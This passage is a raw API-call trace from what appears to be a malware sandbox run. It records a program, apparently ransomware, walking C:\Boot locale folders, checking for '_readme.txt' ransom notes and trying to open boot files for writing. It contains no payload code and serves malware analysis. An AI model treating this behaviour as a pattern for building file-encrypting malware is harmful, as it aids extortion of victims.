Flags=0x0, Size=0x20) returned 0x325ff38 [0066.806] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.806] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.806] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned=".mui" [0066.806] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.806] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.806] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb324c2f0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.806] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.806] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.806] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned=".txt" [0066.806] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb324c2f0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.806] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.807] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.807] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.807] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.807] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.807] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.807] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0066.807] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.807] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.807] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.807] PathFindFileNameW (pszPath="") returned="" [0066.807] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.807] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.807] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.807] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.807] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.807] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3247f78 [0066.808] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.808] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.808] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0066.808] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.808] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0066.808] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3272450, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3272450, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.808] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3272450, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3272450, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.808] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.808] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.808] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.808] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned=".mui" [0066.808] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.808] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.808] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3272450, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3272450, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3272450, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.808] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.808] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.809] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.809] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned=".txt" [0066.809] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.809] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3272450, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3272450, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3272450, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.809] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.809] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.809] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.809] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.809] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.809] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.809] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.809] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.809] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.809] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.809] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.809] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.809] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.809] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.809] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.809] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.809] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.809] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.809] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.809] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.809] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.809] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.809] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.809] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.809] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.809] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.810] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.810] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.811] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.811] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.812] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.812] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.812] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.812] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.812] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.812] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.812] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.812] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.812] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.812] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.812] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.812] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.812] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.812] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.812] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.812] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.812] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.812] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.812] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.812] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.812] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.812] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.812] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.812] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.812] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.812] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.812] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.812] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.812] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.812] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.812] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.812] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.813] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.813] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.813] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.813] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.813] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.813] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.813] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.813] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.813] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.813] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.813] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.813] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.813] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.813] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.813] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.813] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.813] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.814] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.814] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.814] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.814] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.814] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.814] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0066.814] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.814] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.814] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.814] PathFindFileNameW (pszPath="") returned="" [0066.814] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.814] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.814] SHGetFolderPathW (in: hwnd=0x0, 